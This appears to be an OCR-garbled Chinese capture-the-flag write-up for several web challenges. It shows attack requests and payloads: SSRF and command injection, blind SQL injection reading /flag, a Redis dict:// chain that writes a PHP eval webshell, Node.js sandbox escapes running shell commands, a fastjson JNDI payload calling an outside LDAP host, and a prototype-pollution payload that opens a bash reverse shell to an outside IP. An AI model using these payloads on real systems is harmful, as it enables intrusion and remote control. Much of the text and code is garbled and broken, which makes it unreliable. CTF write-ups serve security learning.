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Web1

GET /There_is_no_flag_here.php HTTP/1.1

Host: eci-2ze7ful5ewwxadups678.cloudecil.ichunqgiu.com

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

client-ip:127.0.0.1

Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO@000; _ jsluid_h=38957b31ca®168d2037aeb66ca8c866f
Connection: close

Web2

Sefileth SUESCHE Purl=Ffile:///var/www/html/flag.php

http://eci-2ze7ful5ewwxadups680.cloudecil.ichunqiu.com/index.php?url=http://127.0.0.1/flag.php%3Fcmd=;cat flag i
s_here.php

Web3
B — T BT

def str_to_oct(cmd):
s
for t in cmd:

return s
print(str_to_oct( ))
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Web4

index.phpsitt#&, REEZITMITT .

?s=a:2:{i:0;s:4:"Easy";i:1;s:7:"getflag";}

Web5

B} E) B VE RIS SewafitAT -

?id=0"||if(ascii(substr(((selselectect load_file('/flag'))),1,1))<0,benchmark(1000000,sha(1)),1=2)%23

SHARBT, WENOEARARTRBEEST .

login

mysqI8Bk&VE— T #iAT .

username=-1'union values row(1,2, " 'c4cad238a0b923820dcc509a6175849b")%23&password=1&login=1ogin

import requests
from time import
def createNum(n):
num
if n ikg
return
else:
for i in
num

return num

while 1:

]

if K
flag (3)
print(flag)
if (3)

exit()

break




payload

:payload,

requests.post(url=url,data=data,timeout=1)
J
except:
J
sleep(0.1)

<?php
//error_reporting(E_ALL);

function waf($input){
$check = preg match('/into/i', $input);
if ($check) {
exit("hackkk!!!I");
¥
else {
return $input;

}

require_once ‘'vendor/autoload.php';

use Firebase\JWT\JIWT;

$fff = fopen(".rsa_private_key.pem",'rb');

$rsa_private_key = fread($fff,filesize(".rsa_private_key.pem"));

$fff2 = fopen(".rsa_public_key.pem","rb");

$rsa_public_key = fread($fff2,filesize(".rsa_public_key.pem"));
$username = @$_POST[ 'username'];

$password = @$%_POST[ 'pwd'];

$payload = array(
"name" => "admin",
"pwd" => "jw2fdkci2F2md2FFA4",
"isadmin" => true,
//"isadmin" => false,

)5

$jwt = JIWT::encode($payload,$rsa_private key, "RS256");

var_dump($jwt);
exit();




urll=dict://127.0.0.1:6379/config:set:dir:/var/www/html
urll=dict://127.0.0.1:6379/set:shell:"\x3c\x3F\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5F\x50\x4f\x53\x54\x5b\X
30\x5d\x29\x3b\x3f\x3e"

urll=dict://127.0.0.1:6379/config:set:dbfilename:3.php

urll=dict://127.0.0.1:6379/save

iconv&dfiiT

EasyEscape

%% https://www.anquanke.com/post/id/84336

AANBARIEGR Mrce, HEMAEEF constructor (Function) .
JSIRIET .

RIEG— T EHMAT:

%2b %2b
$IFS$9 ) ()} }&password=1&login=1login

Home Page

Hello flag{12ed785e-3089-428a-867d-4718b63525€0} ! Can you help me?

[x ﬂ Elements Console Recorder & Sources Network Performance Memory  Application Security Lighthouse  Adblock Plus HackBar EditThisCookie B1 o SIS 4

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ Xss -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~
cnuype

Enable POSTapplication/x-www-form-urlencoded ~ ADD HEADER

Body
username={{("['constr'%2b"uctor’]["constr"%2b"uctor'])

("return(global[\"pro"%2b"cess\'I[\'mai"%2b"nModule\"][\'req"%2b"uire\"]
(\"child_p"%2b"rocess\")[\"exe"%2b"cSync\'|(\"cat$IFS$9/flag\"))")
(OH&password=1&login=login

Console  What's New X Issues CSDN @bfer)

easy_fastjson

fastjsonf]1.2.42:

>com.alibaba</

>fastjson</
>1.2.42</
>

X RFFIMIRR:



@RequestMapping({
@ResponseBody

public String hackme(@RequestParam(name ,value ,required false) String payload) {

if (payload null) {
return
} else {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
payload payload.replace( 5 )
payload payload.replace( )
payload payload.replace( )
payload payload.replace( 5 );
payload payload.replace( 5 )
payload payload.replace( 5 )
Pattern pattern Pattern.compile( )

for(Matcher m pattern.matcher(payload); m.find(); payload payload.replace(m.group(1), dont_want
bypass_me(m.group(1)))) {

1
J

JSON.parse(payload, new Feature[]{Feature.SupportNonPublicField});

return 5

public static String dont_want_bypass_me(String cls_name) {
for(int i 0; i 20; i) {
if (cls_name.startsWith( ) cls_name.endsWith( ) {
cls_name cls_name.substring(1, cls_name.length() 1);

return cls_name;

20 AT -
FTE /tmp/i_want_flag XAFEL AT LAfS Elflag.

fastison¥T — FHtAT. 1.2.42%F EFFautoTypeSupportd i Ntrue A BEMEH, BMEWMATTT -

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

http://eci-2zebzbefla9ermcclsjk.cloudecil.ichunqiu.com:8888/?payload=%7B%22%A0type%22%3A%22  LLLLLLLLLLLLLLLLLLLLY
Lcom. sun.rowset.JdbcRowSetImpl%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%22%2C%22dataSou
rceName%22%3A%221dap%3A%2F%2F121.5.169.223%3A1389%2Fpq02uk%22%2C%20%22autoCommit%22%3Atrue%7D




root@mM-0-6-ubuntu:~/java/jndi# java -jar
[ADDRESS] >> 12
[COMMAND] >>
NDI Links
whose trustURLCodebase is true):

whose trustURLCodebase is true):

ose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classp

Server Log
2022-01-20 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-20 59k [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-20 B [LDAPSERVER] >> Listening on 0.0.0.0:1389
2022-01-20 [LDAPSERVER] >> Send LDAP reference result for pg@2uk redirecting to http://121.5.169.223:8180/ExecTemplate]DK8.class
2022-01-20 B [JETTYSERVER]>> Log a request to http://121.5.169.223:8180/ExecTemplateIDK8.class

IINRFEATSTERFN VERQTNN . Dloaca ciinnart MahaYtarm hwv ciitherrihina +a tha nrafaccinnal aditinn hara: httnc-//mnhaviarm mnhatal nat

AN C A T4 | eci-2zebzbefla9ermccisjk.cloudecil.ichungiu.com:8888/getflag

flag{c6bef8cf-d24c-44be-ab66-a89756150f45}

GrandTravel

SQUIEN R

import requests
t string

(1000) :

for j in string.printable:
payload

data={
:payload.
2dl

r=requests.post(url=url,data=data)

if in r.text:
flag+=j
print(flag)
break

SR JG 5 https:/Iblog.csdn.net/anwen12/article/details/122136806?spm=1001.2014.3001.5501

AR IR, ssrfiTid %



http://0:6379/%CA%8DHTTP/1.1%CA4%8D%CA%8A*2%C4%8D%CA%8A$4A%CA%8D%CA%SAAUTH%CA%8D%CA%BAS31%CA%8D%CA%8ARed1S POSswoOr
d_a456wd4654aw54wd%Ca%8D%CA%8A*1%CA%8D%CA%8AS$7%CA%8D%CA%SACOMMANDICA%8D%CA%BA* 3%CA%8D%CA%BAS3%CA%8D%CA%BAs et %CAH
8D%CA%8A$37%C4%8D%CA%8Aadmint528764d624db129b32c21fbca®cb8d6%C4%8D%CA%8A%$276%CA%8D%CA%8AeyIyY2Ui0iJFICRORFOGVUSD
JCRfZnVuY3Rpb24oKXtyZXF1aXJ1KCdjaGlsZFOwecm9jZXNzJykuZXh1lYygnZWNobyBZbUZ6YUNBAGFTQStKaUF 2WkdWMkwzUmpjQzh4TWpFdUS5T
NHhOamt1TWpJekx6TTVOelkzSURBKOpgRT18YmFzZTYOIC1kfGIhc2ggLWknLGZ1bmNOaWOuKGVycm9yLCBzdGRvdXQsIHNOZGVycil7Y29uc29s
ZS5sb2coc3Rkb3VOKXOp0300KSI9%C4%8D%CA%8A
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[x ﬂ Elements Console e r So 3 rk Performance Memory Application Security Lighthouse  Adblock Plus HackBar Edit
LOAD SPLIT EXECUTE TEST ~ sqQLl ~ Xss -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~
http://eci-2ze7ful5ewwwff294x0m.cloudecil.ichungiu.com:8888/users/signup

enctype
Enable POSTapplication/x-www-form-urlencoded ADD HEADER

Body
username=18&email=1%40gq.com&phone=18&date=1&country=China&destination=Isla Name Value

s+Galapagos&message=1 X-Forwarded-For Y 127.0.0.1

Console  What's New X Issues

JeikATsignup, ssrfz JG Hsignup2 B 3hBk#E 2l contactRfi & & 7 ¥l 4brce
SRIEsuidiEAL, FIfHftp.

SEfp X EF: https://mww.commandlinux.com/man-page/man/netkit-ftp.1.html

FI Fftp server: https://github.com/mailsvb/jsftpd

ARG

const { ftpd } require(

const server new ftpd({cnf: {username , password , basefolder ,port:6668}})

server.start()

ctfer@engine-1:/tmp$

base64 --decode 1.js
H19KQoKc2VydmVyLnNOYXJOKCk="|base64 --decode
ctfer@engine-1:/tmp$ 1s
IS
1.js
mongodb-27017.sock
node_modules
package-lock.json
ctfer@engine-1:/tmp$ node 1.js

ctfer@engine-1:/home/node/src$ ftp 127.0.0.1 6668
ftp 127.0.0.1 6668

john

Password:doe

put /flag flag




e
ctfer@engine-1:/tmp$ cat flag

cat flag
flag{aB4ad249-3dbe-49f0-aaef-c131e9ad0fO0}ctfer@engine-1:/tmp$ I

js_far

let {id,solved,ifsolve} req.body;
let rel false;
works[id][solved]=ifsolve;
if(ifsolve ){
works[id][ ]=emo_solve[id[4]-1];
rel=true;
}else {
works[id][ ]=emo_unsolve[id[4]-1];

1
J

res.json({ rel});

E—F dustjs-linkedin firce: https:/github.com/linkedin/dustjs/issues/804
FATREIFARER TS, ER THKA .
THBET -

{"id":"__proto__","ANY_CODE":"","ifsolve":"this.constructor.constructor('return process')().mainModule.require("
child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.5.169.223/39767 ©>&1\""')"}

flag?E /root/flag.txt , /home/js_far/flag.txt ~f&flag.
/NEHI I

K& 2

location /.well-known {
autoindex on;
alias /var/www/html/well-known/;

BRKInginx B 3 58k

A %2 | eci-2zejdo1joOuubn8gsw2j.cloudecil.ichungiu.com/.well-known../test/

Index of /.well-known../test/

ATestOfXiaoLing. php 29-Nov-2021 15:45 360



RERBE R RFHINL, BREFRE.

<?php
highlight_file(_ FILE_ );

_ ors 1
class FDtest{
public function _ destruct()
if($this—>getfile) echo file_get_contents($this—rgetfile);

Sres = unserialize($_REQUEST[' &’ 1);

if (preg match(’ /1/1", serialize ($res))) {
throw new Exception("Hitherto shalt thou come, but no further”);

Notice: unserialize(): Error at offset 42 of 42 bytes in /var/www/html/test/ATestOfXiaoLing.php on line 12
flag{79c22752-d357-496e-85a1-87c773cfef8c}

[x ﬂ Elements Console Recorder & Sources Network Performance Memory  Application Security Lighthouse  Adblock Plus HackBar

< ENCODING ~ HASHING

LOAD SPLIT EXECUTE TEST ~ SQLl

URL
http://eci-2zej401jo0uubn8gsw2j.cloudecil.ichungiu.com/test/ATestOfXiaoLing.php?a=0:6:"FDtest":1:{s:7:"getfile";s:5:"/flag"; cspr
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